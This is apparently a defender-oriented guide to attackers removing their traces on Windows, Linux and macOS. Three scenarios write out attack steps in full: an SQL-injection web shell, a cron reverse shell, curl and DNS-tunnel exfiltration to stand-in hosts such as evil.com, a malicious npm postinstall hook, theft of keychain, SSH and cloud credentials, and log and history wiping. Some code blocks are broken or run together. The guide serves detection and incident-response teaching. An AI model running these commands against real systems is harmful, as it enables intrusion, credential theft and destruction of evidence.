After gaining access to a target system, sophisticated adversaries don’t just accomplish their objectives and leave. They systematically remove traces of their presence, making incident response and forensic analysis significantly more challenging. This isn’t theoretical - it’s happening in environments right now.

This guide walks through real-world indicator removal techniques across Windows, Linux, and macOS platforms, demonstrating exactly how attacks unfold in the field and, more importantly, how to detect and respond to them.

Scenario 1: Windows Domain Compromise - Event Log Manipulation

The Attack

You’re a SOC analyst at 2:47 AM when your SIEM fires an alert: multiple failed authentication attempts against a domain controller. By the time you investigate, the authentication logs show nothing unusual. What happened?

Let’s walk through what the attacker actually did.

Initial Access (T1078 - Valid Accounts):

The attacker compromised a service account through credential stuffing. They authenticated successfully to a workstation:

Time: 2024-10-28 02:12:34
Event ID: 4624 (Successful Logon)
Account: svc_backup@corp.local
Workstation: WKS-FINANCE-042
Logon Type: 3 (Network)
Source IP: 192.168.50.178

Lateral Movement (T1021.002 - SMB/Windows Admin Shares):

Using stolen credentials, they moved laterally to a domain controller:

# From WKS-FINANCE-042
net use \\DC01\C$ /user:svc_backup P@ssw0rd123

# Copy reconnaissance tool
copy recon.exe \\DC01\C$\Windows\Temp\svchost.exe

# Execute remotely via PsExec
psexec.exe \\DC01 -u svc_backup -p P@ssw0rd123 C:\Windows\Temp\svchost.exe

Privilege Escalation & Data Exfiltration:

The tool dumps NTDS.dit (Active Directory database) and exfiltrates domain password hashes. This generates extensive Security event logs:

Event ID 4662: Directory Services Access
Event ID 4663: Object Access Attempts
Event ID 4688: Process Creation (svchost.exe in suspicious location)
Event ID 5156: Windows Filtering Platform connections

Indicator Removal (T1070.001 - Clear Windows Event Logs):

Now comes the cover-up. The attacker clears evidence:

# Clear Security log (requires SYSTEM or Admin)
wevtutil cl Security

# Clear System log
wevtutil cl System

# Clear Application log
wevtutil cl Application

# Targeted clearing - only recent entries
Get-WinEvent -LogName Security -MaxEvents 1000 | Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-2)} | ForEach-Object {
    Remove-WinEvent -EventId $_.Id -Force
}

When they’re done, your logs look clean. The security events that would show the attack simply don’t exist anymore on the compromised host.

What You Actually See as a Defender

SIEM Alert - Event Log Cleared:

Alert: Windows Security Log Cleared
Time: 2024-10-28 02:47:12
Host: DC01.corp.local
Event ID: 1102
User: svc_backup
Message: The audit log was cleared.

This is your smoking gun. Event ID 1102 is generated BEFORE the Security log is cleared, and if you’re forwarding logs to a SIEM in real-time, you capture it before it’s deleted locally.

What’s Missing:

When you query the domain controller’s local Security log, you see:

Last Event Time: 2024-10-28 01:45:22
First Event Time: 2024-10-28 02:47:13
Gap: 1 hour 1 minute 51 seconds

There’s a complete gap in logging right when the attack occurred.

Correlating Evidence:

But attackers rarely think of everything. Check your network logs:

Firewall Log Entry:
2024-10-28 02:43:15 | DC01 -> 185.220.102.43 | TCP/443 | 4.2GB transferred

A domain controller shouldn’t be transferring 4GB to an external IP at 2 AM. This is your NTDS.dit exfiltration.

Detection Strategy

1. Real-Time Log Forwarding (Critical):

The ONLY reason you caught this is because logs were forwarded to your SIEM before being cleared. Configure Windows Event Forwarding (WEF) or use an agent:

<!-- WEF Subscription Configuration -->
<Subscription>
  <SubscriptionId>Security-Critical-Events</SubscriptionId>
  <Query>
    <Select Path="Security">*[System[(EventID=1102 or EventID=4624 or EventID=4688 or EventID=4662)]]</Select>
  </Query>
  <DeliveryMode>MinLatency</DeliveryMode>
  <MaxLatencyTime>1000</MaxLatencyTime>
</Subscription>

2. Behavioral Detection - Log Clearing Context:

A cleared log isn’t always malicious (admins do it during maintenance). Context matters:

Suspicious Indicators:
✓ Event 1102 (log cleared) at 2:47 AM (off-hours)
✓ Cleared by service account (not admin)
✓ Preceded by lateral movement (PsExec artifacts)
✓ Preceded by unusual process execution (svchost.exe in \Temp)
✓ Followed by large data transfer

3. Alternative Forensic Artifacts:

Even with logs cleared, artifacts remain:

USN Journal (NTFS Change Journal):

# Parse USN Journal for deleted event logs
fsutil usn readjournal C: | Select-String "Security.evtx"

Shows file operations on event logs even after clearing.

Volume Shadow Copies:

# List shadow copies
vssadmin list shadows

# Mount shadow copy
mklink /D C:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# Recover old event logs
copy C:\shadow\Windows\System32\winevt\Logs\Security.evtx C:\forensics\Security-recovered.evtx

Prefetch Files:

# Check prefetch for wevtutil execution
Get-ChildItem C:\Windows\Prefetch\WEVTUTIL*.pf

# Parse prefetch to see when/how it was run

Response Workflow

Immediate Actions (First 15 Minutes):

Isolate the Domain Controller - Remove from network but don’t shut down (preserves memory)

Capture Memory Dump:

# Using DumpIt or similar
.\DumpIt.exe /O C:\forensics\DC01-memory.dmp

Memory may contain the deleted log entries still in RAM.

Create Forensic Timeline:

# Collect artifacts
Get-WinEvent -ComputerName DC01 -LogName "Microsoft-Windows-Sysmon/Operational" | Export-Csv sysmon.csv
Get-ChildItem C:\Windows\Temp -Recurse | Export-Csv temp-files.csv
Get-NetTCPConnection -State Established | Export-Csv network-connections.csv

Investigation Phase (First Hour):

Analyze Forwarded Logs in SIEM:

Even though local logs are cleared, your SIEM has copies:

-- Splunk query
index=windows host="DC01" EventCode=1102 OR EventCode=4624 OR EventCode=4688
| sort _time
| table _time, user, EventCode, CommandLine, ProcessName

Check Backup Domain Controllers:

If you have multiple DCs, replication logs might show the attack:

# Check AD replication
repadmin /showrepl DC01

Examine Network Evidence:

# Check firewall logs for DC01 activity
grep "DC01" /var/log/firewall.log | grep -E "(02:1[0-9]|02:2[0-9]|02:3[0-9]|02:4[0-9])"

Containment & Eradication:

Reset Compromised Credentials:

# Force password reset for compromised account
Set-ADAccountPassword -Identity svc_backup -Reset
Set-ADUser -Identity svc_backup -ChangePasswordAtLogon $true

Invalidate Kerberos Tickets:

# Reset krbtgt account password (twice, with 10 hour gap)
# This invalidates all golden tickets
New-KrbtgtKeys.ps1 -Reset

Rebuild or Restore DC:
- If NTDS.dit was compromised, consider domain-wide password reset
- Restore DC from known-good backup if available
- Full rebuild if compromise is deep

Key Takeaways from This Scenario

What Made Detection Possible:

Real-time log forwarding prevented complete evidence destruction
Network monitoring captured exfiltration traffic
Multiple data sources (logs, network, filesystem) provided redundancy

What Would Have Made It Easier:

Sysmon deployed on domain controllers (captures process activity even if Security log is cleared)
Restricted access to log clearing functionality (even for admins)
Automated alerting on Event ID 1102 during off-hours
Better service account hygiene (svc_backup shouldn’t have DC admin rights)

Scenario 2: Linux Web Server Compromise - Log Manipulation & History Clearing

The Attack

A web application vulnerability leads to remote code execution on your Ubuntu web server. The attacker gains initial access and wants to establish persistence while hiding their tracks.

Initial Access (T1190 - Exploit Public-Facing Application):

SQL injection in a PHP application leads to command execution:

# Attacker's request to vulnerable endpoint
POST /search.php HTTP/1.1
search=' UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'--

Creates a web shell at http://target.com/shell.php?c=whoami

Discovery & Privilege Escalation:

# Whoami check
whoami  # Returns: www-data

# Check sudo permissions
sudo -l
# Returns: (ALL) NOPASSWD: /usr/bin/systemctl restart nginx

# Find SUID binaries
find / -perm -4000 2>/dev/null
# Identifies vulnerable binary: /usr/bin/pkexec (CVE-2021-4034)

# Exploit PwnKit for root
./pwnkit-exploit
whoami  # Returns: root

Persistence (T1053.003 - Cron):

# Add backdoor cron job as root
echo "*/15 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/192.168.50.178/4444 0>&1'" >> /etc/crontab

# Add SSH key for persistence
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Data Exfiltration:

# Compress sensitive data
tar -czf /tmp/data.tar.gz /var/www/html/uploads /etc/passwd /etc/shadow

# Exfiltrate via curl
curl -X POST -F "file=@/tmp/data.tar.gz" http://attacker-server.com/upload

All of this generates extensive logs:

# /var/log/auth.log shows:
Oct 28 14:23:45 webserver sudo: www-data : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/pkexec
Oct 28 14:24:12 webserver sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash

# /var/log/syslog shows:
Oct 28 14:25:33 webserver CRON[12456]: (root) CMD (/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.178/4444 0>&1')

# ~/.bash_history shows:
whoami
sudo -l
find / -perm -4000 2>/dev/null
./pwnkit-exploit
echo "*/15 * * * * root /bin/bash..." >> /etc/crontab
tar -czf /tmp/data.tar.gz...

Indicator Removal (T1070.002, T1070.003, T1070.004):

Now the attacker needs to cover their tracks:

# 1. Clear bash history
history -c                    # Clear session history
echo > ~/.bash_history        # Truncate history file
rm ~/.bash_history            # Delete entirely
cat /dev/null > ~/.bash_history  # Alternative truncation

# 2. Clear auth logs
echo > /var/log/auth.log
echo > /var/log/secure

# 3. Clear syslog
echo > /var/log/syslog
echo > /var/log/messages

# 4. Clear web server logs
echo > /var/log/nginx/access.log
echo > /var/log/nginx/error.log
echo > /var/log/apache2/access.log

# 5. Manipulate wtmp/utmp (login records)
echo > /var/log/wtmp
echo > /var/log/btmp
echo > /var/log/lastlog

# 6. Remove uploaded tools
rm /tmp/pwnkit-exploit
rm /tmp/data.tar.gz
rm /var/www/html/shell.php

# 7. Disable bash history for future sessions
echo "unset HISTFILE" >> ~/.bashrc
export HISTSIZE=0

What You Actually See as a Defender

Initial Detection - WAF Alert:

Alert: SQL Injection Attempt
Time: 2024-10-28 14:18:22
Source IP: 203.0.113.45
URI: /search.php
Payload: ' UNION SELECT...INTO OUTFILE...
Action: Allowed (WAF in monitor mode)

Your WAF detected the attack but didn’t block it because it’s in monitor-only mode.

SIEM Alert - Unusual Root Activity:

Alert: Privilege Escalation Detected
Time: 2024-10-28 14:24:15
Host: webserver-prod-01
User: www-data -> root transition
Command: /usr/bin/pkexec

If you have auditd or Sysmon for Linux forwarding to your SIEM, you caught the privilege escalation.

Investigating the Host:

When you SSH to the server to investigate:

# Check auth.log
tail -100 /var/log/auth.log
# Output: Empty or only shows your recent SSH login

# Check syslog
tail -100 /var/log/syslog
# Output: Starts from current time, no historical entries

# Check bash history
cat ~/.bash_history
# Output: Empty or only contains benign commands

# Check wtmp (login history)
last -f /var/log/wtmp
# Output: Only shows current session

Everything looks clean. Too clean.

Red Flags:

# Check file timestamps
ls -lah /var/log/auth.log
# Output: -rw-r----- 1 syslog adm 0 Oct 28 14:32 /var/log/auth.log
# File size: 0 bytes - suspicious!

# Normal auth.log should have entries
stat /var/log/auth.log
# Modify time: 2024-10-28 14:32:15 (recent)
# File was recently truncated

# Check other system logs
ls -lah /var/log/*.log
# Multiple logs all showing 0 bytes or recent modification times

Finding What’s Left:

Even with logs cleared, artifacts remain:

# 1. Check running processes
ps auxf | grep -E "bash|sh"
# Shows reverse shell process still running

# 2. Check established network connections
ss -tunap | grep ESTAB
# Shows connection to 192.168.50.178:4444

# 3. Check cron jobs
cat /etc/crontab
# Shows malicious reverse shell cron entry

# 4. Check authorized_keys
cat /root/.ssh/authorized_keys
# Shows attacker's SSH key

# 5. Check auditd logs (if enabled)
ausearch -k root_commands
# Auditd logs survive even if syslog is cleared

# 6. Check systemd journal (persists separately)
journalctl -xe --since "14:00" --until "15:00"
# Shows privilege escalation and command execution

Detection Strategy

1. Auditd Rules for Critical File Monitoring:

Deploy comprehensive auditd rules to detect log manipulation:

# /etc/audit/rules.d/log-tampering.rules

# Monitor log file modifications
-w /var/log/auth.log -p wa -k auth_log_modification
-w /var/log/syslog -p wa -k syslog_modification
-w /var/log/messages -p wa -k messages_modification
-w /var/log/secure -p wa -k secure_log_modification

# Monitor bash history
-w /root/.bash_history -p wa -k root_history_modification
-w /home/ -p wa -k home_changes

# Monitor login records
-w /var/log/wtmp -p wa -k wtmp_modification
-w /var/log/btmp -p wa -k btmp_modification
-w /var/log/lastlog -p wa -k lastlog_modification

# Monitor history command
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/history -k history_clearing

# Monitor file deletions
-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -k file_deletion

Reload rules:

augenrules --load
service auditd restart

2. Centralized Logging (Critical):

Logs must be forwarded off-system in real-time:

# /etc/rsyslog.d/remote.conf
*.* @@siem.company.com:514

# Restart rsyslog
systemctl restart rsyslog

Once logs hit your SIEM, attackers can’t delete them.

3. File Integrity Monitoring:

# Install AIDE
apt-get install aide

# Initialize database
aideinit

# Configure critical files
cat >> /etc/aide/aide.conf << EOF
/var/log NORMAL
/etc PERMS
/bin NORMAL
/sbin NORMAL
/root/.ssh NORMAL
EOF

# Check integrity
aide --check

4. Systemd Journal Forwarding:

Even if syslog is cleared, systemd journal persists:

# Configure persistent journal
mkdir -p /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journal

# Forward to remote server
cat >> /etc/systemd/journal-remote.conf << EOF
[Remote]
URL=http://siem.company.com:19532
EOF

systemctl restart systemd-journal-upload

Response Workflow

Immediate Actions:

Isolate the Server: ```bash
Block all outbound traffic except to SIEM

iptables -A OUTPUT -d siem.company.com -j ACCEPT iptables -A OUTPUT -j DROP

Save state

iptables-save > /tmp/firewall-isolation.rules

2. **Preserve Volatile Data:**
```bash
# Capture memory (if server has adequate RAM)
dd if=/dev/mem of=/mnt/usb/memory.dump bs=1M

# Capture network state
ss -tunap > /mnt/usb/network-state.txt
ps auxf > /mnt/usb/process-tree.txt
lsof > /mnt/usb/open-files.txt

# Capture running processes
for pid in $(ps -eo pid --no-headers); do
    cp -r /proc/$pid /mnt/usb/proc-$pid 2>/dev/null
done

Check Centralized Logs: ```bash
Query SIEM for this host

Splunk:

index=linux host=”webserver-prod-01” earliest=-24h | sort _time | table _time, user, command, process, src_ip

Look for:

- SQL injection in web logs

- Privilege escalation (www-data -> root)

- File modifications in /var/log

- Network connections to external IPs

- Suspicious cron job additions

**Investigation:**

4. **Analyze Auditd Logs:**
```bash
# Check for log tampering
ausearch -k auth_log_modification
ausearch -k syslog_modification

# Sample output:
time->Mon Oct 28 14:32:15 2024
type=PATH msg=audit(1698505935.123:456): item=0 name="/var/log/auth.log" inode=12345 dev=08:01
type=SYSCALL msg=audit(1698505935.123:456): arch=c000003e syscall=2 success=yes exe="/usr/bin/bash" uid=0 comm="bash"

This shows root (uid=0) modified auth.log using bash.

Review Systemd Journal: ```bash
Check journal around attack time

journalctl –since “14:00” –until “15:00” -o verbose

Look for privilege escalation

journalctl -u systemd –since “14:00” | grep -i “sudo|pkexec|su”

Check cron execution

journalctl -u cron –since “14:00”

6. **Forensic Timeline:**
```bash
# Create timeline using  timestamps
find / -type f -newermt "2024-10-28 14:00" ! -newermt "2024-10-28 15:00" 2>/dev/null

# Check modified files
find /etc /var/www /root -type f -mmin -120 -ls

Eradication:

Remove Persistence Mechanisms: ```bash
Remove malicious cron job

sed -i ‘/192.168.50.178/d’ /etc/crontab

Remove SSH key

sed -i ‘/attacker@kali/d’ /root/.ssh/authorized_keys

Kill reverse shell

pkill -f “bash -i”

Check for rootkits

chkrootkit rkhunter –check

8. **Patch Vulnerability:**
```bash
# Review and patch vulnerable PHP code
# Update web application
# Apply principle of least privilege to www-data user

Reset Credentials: ```bash
Change root password

passwd root

Rotate SSH host keys

rm /etc/ssh/ssh_host_* ssh-keygen -A systemctl restart sshd

**Recovery:**

10. **Consider Full Rebuild:**

If root access was obtained and logs were cleared, assume deep compromise:
- Rebuild from known-good backup
- Redeploy from infrastructure-as-code
- Don't trust anything on the compromised system

### Key Takeaways from This Scenario

**What Made Detection Possible:**
- WAF monitoring (even in detect-only mode) caught initial intrusion
- Centralized logging preserved evidence before local deletion
- Auditd provided redundant logging that survived tampering
- Systemd journal retained logs even after syslog clearing

**What Made Investigation Harder:**
- Local logs were completely cleared
- Bash history was erased
- Login records were truncated

**Lessons Learned:**
- Never rely solely on local logs - they will be deleted
- Multiple logging layers (syslog + auditd + systemd + SIEM) provide defense in depth
- Zero-byte log files are a massive red flag
- File integrity monitoring detects tampering attempts
- Proper WAF configuration (blocking mode) could have prevented initial access

## Scenario 3: macOS Developer Workstation - Advanced Anti-Forensics

### The Attack

A developer's MacBook Pro is compromised via a malicious npm package. The attacker gains code execution and wants to steal source code and credentials while avoiding detection.

**Initial Access (T1195.002 - Compromise Software Supply Chain):**

Developer installs a typosquatted package:

```bash
# Developer thinks they're installing 'axios'
npm install axi0s

# Malicious package.json postinstall script:
{
  "scripts": {
    "postinstall": "curl -s https://evil.com/stage1.sh | bash"
  }
}

The postinstall script executes automatically:

#!/bin/bash
# stage1.sh - Initial beacon and persistence

# Download second stage
curl -s https://evil.com/stage2 -o ~/.local/bin/updatecheck
chmod +x ~/.local/bin/updatecheck

# Persistence via LaunchAgent
cat > ~/Library/LaunchAgents/com.apple.updatecheck.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.updatecheck</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/$USER/.local/bin/updatecheck</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>
EOF

launchctl load ~/Library/LaunchAgents/com.apple.updatecheck.plist

Collection & Credential Theft:

The malware harvests sensitive data:

# Steal SSH keys
tar -czf /tmp/ssh.tar.gz ~/.ssh/

# Steal AWS credentials
tar -czf /tmp/aws.tar.gz ~/.aws/

# Steal git credentials
cat ~/.gitconfig > /tmp/gitconfig
security find-generic-password -a git -w > /tmp/git-token

# Steal Keychain passwords
security dump-keychain -d ~/Library/Keychains/login.keychain-db > /tmp/keychain.txt

# Steal browser passwords (Chrome)
cp ~/Library/Application\ Support/Google/Chrome/Default/Login\ Data /tmp/chrome-passwords.db

# Steal Slack tokens
find ~/Library/Application\ Support/Slack -name "Cookies" -exec cp {} /tmp/slack-cookies \;

# Search for API keys in code
grep -r "api_key\|apikey\|api-key" ~/Projects/ > /tmp/api-keys.txt
grep -r "password\|passwd\|pwd" ~/Projects/ > /tmp/passwords.txt

Exfiltration:

# Bundle everything
cd /tmp
tar -czf exfil.tar.gz ssh.tar.gz aws.tar.gz gitconfig git-token keychain.txt chrome-passwords.db slack-cookies api-keys.txt passwords.txt

# Exfiltrate via DNS tunneling (stealthy)
# Base64 encode and chunk data
base64 exfil.tar.gz | fold -w 50 | while read line; do
    dig $line.exfil.evil.com
done

# Or direct upload
curl -X POST -F "data=@exfil.tar.gz" https://evil.com/upload

Indicator Removal:

# 1. Clear zsh history (macOS default shell)
echo > ~/.zsh_history
rm ~/.zhistory

# 2. Clear bash history (if used)
echo > ~/.bash_history

# 3. Clear system logs
sudo rm /var/log/system.log*
sudo rm /var/log/install.log*

# 4. Clear Unified Logs (requires SIP disabled - rare)
# Attacker attempts but likely fails:
sudo rm -rf /var/db/diagnostics/*
sudo rm -rf /var/db/uuidtext/*

# 5. Remove quarantine attributes from downloaded files
xattr -d com.apple.quarantine ~/.local/bin/updatecheck
find ~/Downloads -name "*.sh" -exec xattr -c {} \;

# 6. Clear DNS cache (removes evidence of C2 domains)
sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder

# 7. Delete temporary files
rm /tmp/*.tar.gz
rm /tmp/*.txt
rm /tmp/*.db

# 8. Clear ASL database (Application Support Logs)
sudo rm /var/log/asl/*.asl

# 9. Manipulate Spotlight index (prevents file search)
mdutil -i off /
sudo rm -rf /.Spotlight-V100
mdutil -i on /

# 10. Clear command history from terminal itself
osascript -e 'tell application "Terminal" to clear history'

What You Actually See as a Defender

Initial Detection - EDR Alert:

If you have an EDR solution (CrowdStrike, SentinelOne, etc.):

Alert: Suspicious Network Activity
Time: 2024-10-28 16:45:22
Host: MACBOOK-DEV-042
Process: node (PID 8234)
Command: curl -s https://evil.com/stage1.sh | bash
Parent: npm (PID 8201)
Threat Score: 85/100

The EDR caught npm spawning curl and executing bash from stdin.

Investigating the Endpoint:

You remote into the developer’s MacBook:

# Check zsh history
cat ~/.zsh_history
# Output: Empty or recently cleared

# Check system logs
log show --predicate 'eventMessage contains "curl"' --last 24h
# Output: Shows curl executions but many entries

# Check bash history
cat ~/.bash_history
# Output: Empty

# Check running processes
ps aux | grep -i update
# Output: Shows suspicious process
501  9124   0.0  0.1  4267828   2344   ??  S     4:46PM   0:00.02 /Users/dev/.local/bin/updatecheck

Red Flags:

# Check LaunchAgents (persistence)
ls -la ~/Library/LaunchAgents/
# Shows:
-rw-r--r--  1 dev  staff   421 Oct 28 16:46 com.apple.updatecheck.plist

# This is suspicious - legitimate Apple LaunchAgents are in /System/Library, not ~/Library

# Check what it does
cat ~/Library/LaunchAgents/com.apple.updatecheck.plist
# Shows executable in hidden ~/.local/bin directory

# Inspect the binary
file ~/.local/bin/updatecheck
# Output: Mach-O 64-bit executable arm64

# Check network connections
lsof -i | grep updatecheck
# Output:
updatecheck 9124  dev    5u  IPv4 0x1234abcd TCP macbook.local:53214->evil.com:443 (ESTABLISHED)

# Connection to unknown domain - suspicious!

Finding Deletion Artifacts:

# Check filesystem events log (FSEvents)
# macOS records all file operations
sudo fs_usage -w -f filesys | grep -E "rm|unlink|delete"

# Check Unified Log for deletion operations
log show --style syslog --predicate 'eventMessage contains "rm" OR eventMessage contains "delete"' --last 1h

# Sample output:
2024-10-28 16:52:15.234  bash[9125]: rm /tmp/exfil.tar.gz
2024-10-28 16:52:16.123  bash[9125]: rm /tmp/ssh.tar.gz

Check trash for deleted files

ls -la ~/.Trash/

Check Time Machine for previous versions

tmutil listbackups

### Detection Strategy

**1. Endpoint Detection and Response (EDR) - Essential for macOS:**

Native macOS logging is good but not sufficient. Deploy EDR:

```bash
# EDR solutions for macOS:
# - CrowdStrike Falcon
# - SentinelOne
# - Carbon Black
# - Jamf Protect

# These provide:
# - Process execution monitoring
# - Network connection tracking
# - File integrity monitoring
# - Behavioral analysis

2. Unified Logging System Queries:

macOS Unified Logs are harder to clear (especially with SIP enabled):

# Monitor npm/node suspicious activity
log show --predicate 'process == "npm" OR process == "node"' --style syslog --last 24h | grep -E "curl|wget|bash|sh"

# Monitor curl/wget execution
log show --predicate 'process == "curl" OR process == "wget"' --last 24h

# Monitor LaunchAgent creation
log show --predicate 'eventMessage contains "LaunchAgents"' --last 24h

# Monitor security-related commands
log show --predicate 'eventMessage contains "security" OR eventMessage contains "keychain"' --last 24h

3. File System Events (FSEvents) Monitoring:

FSEvents records all filesystem changes:

# Install fswatch for real-time monitoring
brew install fswatch

# Monitor critical directories
fswatch -0 ~/Library/LaunchAgents ~/Library/LaunchDaemons ~/.ssh ~/.aws | while read -d "" event; do
    echo "$(date): $event" >> /var/log/fswatch.log
done

# Check for suspicious patterns
tail -f /var/log/fswatch.log | grep -E "\.plist|\.sh|\.py|\.bin"

4. Network Monitoring:

# Monitor unusual outbound connections
lsof -i -n -P | grep ESTABLISHED | awk '{print $1, $9}' | sort -u

# Use Little Snitch or LuLu (macOS firewall)
# These alert on new outbound connections

# Check DNS queries
log show --predicate 'processImagePath contains "mDNSResponder"' --last 1h | grep -i query

5. Code Signing and Notarization Checks:

# Check if binary is signed
codesign -dv ~/.local/bin/updatecheck
# Unsigned binaries from unknown sources are suspicious

# Check notarization
spctl -a -vv ~/.local/bin/updatecheck
# Not notarized = red flag

# Check Gatekeeper logs
log show --predicate 'subsystem == "com.apple.Gatekeeper"' --last 24h

Response Workflow

Immediate Actions:

Network Isolation: ```bash
Block all network (preserve state)

sudo pfctl -e sudo pfctl -F all

Or using macOS firewall

sudo /usr/libexec/ApplicationFirewall/socketfilterfw –setglobalstate on sudo /usr/libexec/ApplicationFirewall/socketfilterfw –setblockall on

2. **Capture Volatile Data:**
```bash
# Running processes
ps auxww > /tmp/processes.txt

# Network connections
lsof -i -n -P > /tmp/network.txt
netstat -an > /tmp/netstat.txt

# Open files
lsof > /tmp/open-files.txt

# Loaded kernel extensions
kextstat > /tmp/kexts.txt

# Login items
osascript -e 'tell application "System Events" to get the name of every login item' > /tmp/login-items.txt

Kill Malicious Process: ```bash
Kill the malware

sudo kill -9 9124

Unload LaunchAgent

launchctl unload ~/Library/LaunchAgents/com.apple.updatecheck.plist

**Investigation:**

4. **Check System Integrity Protection (SIP) Status:**
```bash
csrutil status
# Output should be: System Integrity Protection status: enabled

# If disabled, that's a major red flag indicating deeper compromise

Review Unified Logs for Timeline: ```bash
Get comprehensive timeline

log show –style syslog –start “2024-10-28 16:00:00” –end “2024-10-28 17:00:00” > /tmp/unified-log-timeline.txt

Parse for key events

6. **Analyze Malware Sample:**
```bash
# Copy malware for analysis
cp ~/.local/bin/updatecheck /tmp/malware-sample

# Check what it does
strings /tmp/malware-sample | grep -E "http|\.com|curl|wget|bash"

# Check for packed/obfuscated code
otool -L /tmp/malware-sample  # Check linked libraries
hexdump -C /tmp/malware-sample | head -100  # Check file header

# Upload to VirusTotal (if policy allows)
# Or analyze in isolated sandbox

Check for Additional Persistence: ```bash
LaunchAgents

ls -la ~/Library/LaunchAgents/ ls -la /Library/LaunchAgents/

LaunchDaemons (system-wide, requires root)

sudo ls -la /Library/LaunchDaemons/

osascript -e ‘tell application “System Events” to get properties of every login item’

Cron jobs

crontab -l

Shell profiles

cat ~/.zshrc ~/.zprofile ~/.bashrc ~/.bash_profile | grep -v “^#”

Suspicious paths

find ~/Library -name “.plist” -mtime -1 find ~/Library -type f -name “update” -o -name “check*”

**Eradication:**

8. **Remove All Malicious Artifacts:**
```bash
# Remove LaunchAgent
rm ~/Library/LaunchAgents/com.apple.updatecheck.plist

# Remove malware
rm ~/.local/bin/updatecheck

# Remove malicious npm package
cd ~/Projects/affected-project
npm uninstall axi0s

# Check for other suspicious packages
npm list --depth=0 | grep -v "node_modules"

Rotate All Credentials: ```bash
Generate new SSH keys

mv ~/.ssh/id_rsa ~/.ssh/id_rsa.compromised mv ~/.ssh/id_rsa.pub ~/.ssh/id_rsa.pub.compromised ssh-keygen -t ed25519 -C “dev@company.com”

Update SSH keys on GitHub/GitLab

Update authorized_keys on servers

Rotate AWS credentials

aws iam create-access-key

Deactivate old keys after updating

Change all stored passwords

Reset git credentials

git credential-cache exit

Clear keychain (after backing up legitimate credentials)

security delete-keychain ~/Library/Keychains/login.keychain-db security create-keychain ~/Library/Keychains/login.keychain-db

10. **Rebuild Consideration:**
```bash
# Given the severity (credential theft, deep access), consider:
# - Full macOS reinstall
# - Restore from Time Machine backup BEFORE infection
# - Fresh setup and selectively restore data

# If rebuilding is too disruptive, at minimum:
# - Full system update
# - Verify SIP is enabled
# - Enable FileVault encryption
# - Install EDR solution

Recovery:

Implement Additional Protections: ```bash
Enable Gatekeeper strict mode

sudo spctl –master-enable

Require signed packages only

sudo spctl –assess –type execute /path/to/binary

Enable FileVault (full disk encryption)

sudo fdesetup enable

Install application firewall

brew install lulu

Install EDR agent

Install osquery for ongoing monitoring

brew install osquery

### Key Takeaways from This Scenario

**What Made Detection Possible:**
- EDR caught suspicious npm behavior (curl piped to bash)
- Unified Logs preserved evidence even after history clearing
- SIP prevented complete log destruction
- Network monitoring caught C2 communication

**What Made Investigation Harder:**
- Shell history was cleared
- Temporary files were deleted
- Spotlight was manipulated
- Malware used legitimate-looking names (com.apple.updatecheck)

**Lessons Learned:**
- macOS isn't immune to sophisticated attacks
- Supply chain attacks (malicious npm packages) are real
- Local history/logs alone aren't reliable - need EDR
- SIP provides critical protection against log tampering
- Developer workstations need the same security as servers

## Proactive Defense Strategies

After seeing how attacks unfold, let's discuss how to build defenses that actually work in the field.

### 1. Log Architecture - Defense in Depth

**Don't rely on a single logging source:**

Layer 1: Local Logs (Will be attacked) ├── Windows Event Logs ├── Linux syslog/journal └── macOS Unified Logs

Layer 2: Enhanced Logging (Harder to evade) ├── Sysmon (Windows) ├── auditd (Linux) └── EDR agents (All platforms)

Layer 3: Network Evidence (Independent of host) ├── Firewall logs ├── Proxy logs ├── DNS logs └── NetFlow/IPFIX

Layer 4: Centralized Repository (Attack-resistant) ├── SIEM (Splunk, Elastic, Sentinel) ├── Log aggregator (Graylog, Logstash) └── Object storage (S3, Azure Blob) - write-once

**Implementation Example - Windows:**

```powershell
# Deploy Sysmon with comprehensive config
sysmon64.exe -accepteula -i sysmonconfig.xml

# Configure Windows Event Forwarding
wecutil cs /c:subscription.xml

# Forward to SIEM
# Option 1: Splunk Universal Forwarder
# Option 2: Winlogbeat
# Option 3: NXLog

# Protect local logs
# Enable audit policy
auditpol /set /category:* /success:enable /failure:enable

# Set log retention
wevtutil sl Security /ms:4294967296  # 4GB max size
wevtutil sl Security /rt:false         # Don't overwrite

Implementation Example - Linux:

# Install and configure auditd
apt-get install auditd audispd-plugins

# Deploy comprehensive rules
cat > /etc/audit/rules.d/comprehensive.rules << 'EOF'
# Log deletions
-a always,exit -F arch=b64 -S unlink,unlinkat,rename,renameat -F auid>=1000 -k delete

# Log file access
-a always,exit -F arch=b64 -S open,openat -F auid>=1000 -k access

# Log command execution
-a always,exit -F arch=b64 -S execve -k exec

# Log network connections
-a always,exit -F arch=b64 -S socket,connect -k network

# Log privilege escalation
-a always,exit -F arch=b64 -S setuid,setgid,setreuid,setregid -k privilege_escalation

# Protect audit logs themselves
-w /var/log/audit/ -p wa -k audit_log
-w /etc/audit/ -p wa -k audit_config
-w /etc/audisp/ -p wa -k audit_config

# Make audit config immutable (prevents tampering)
EOF

augenrules --load
service auditd restart

# Configure remote logging
cat >> /etc/audit/auditd.conf << EOF
log_format = ENRICHED
name_format = HOSTNAME
max_log_file = 100
max_log_file_action = ROTATE
space_left_action = SYSLOG
admin_space_left_action = SUSPEND
disk_full_action = SUSPEND
disk_error_action = SUSPEND

# Remote logging plugin
dispatcher = /sbin/audisp-remote
EOF

# Configure remote destination
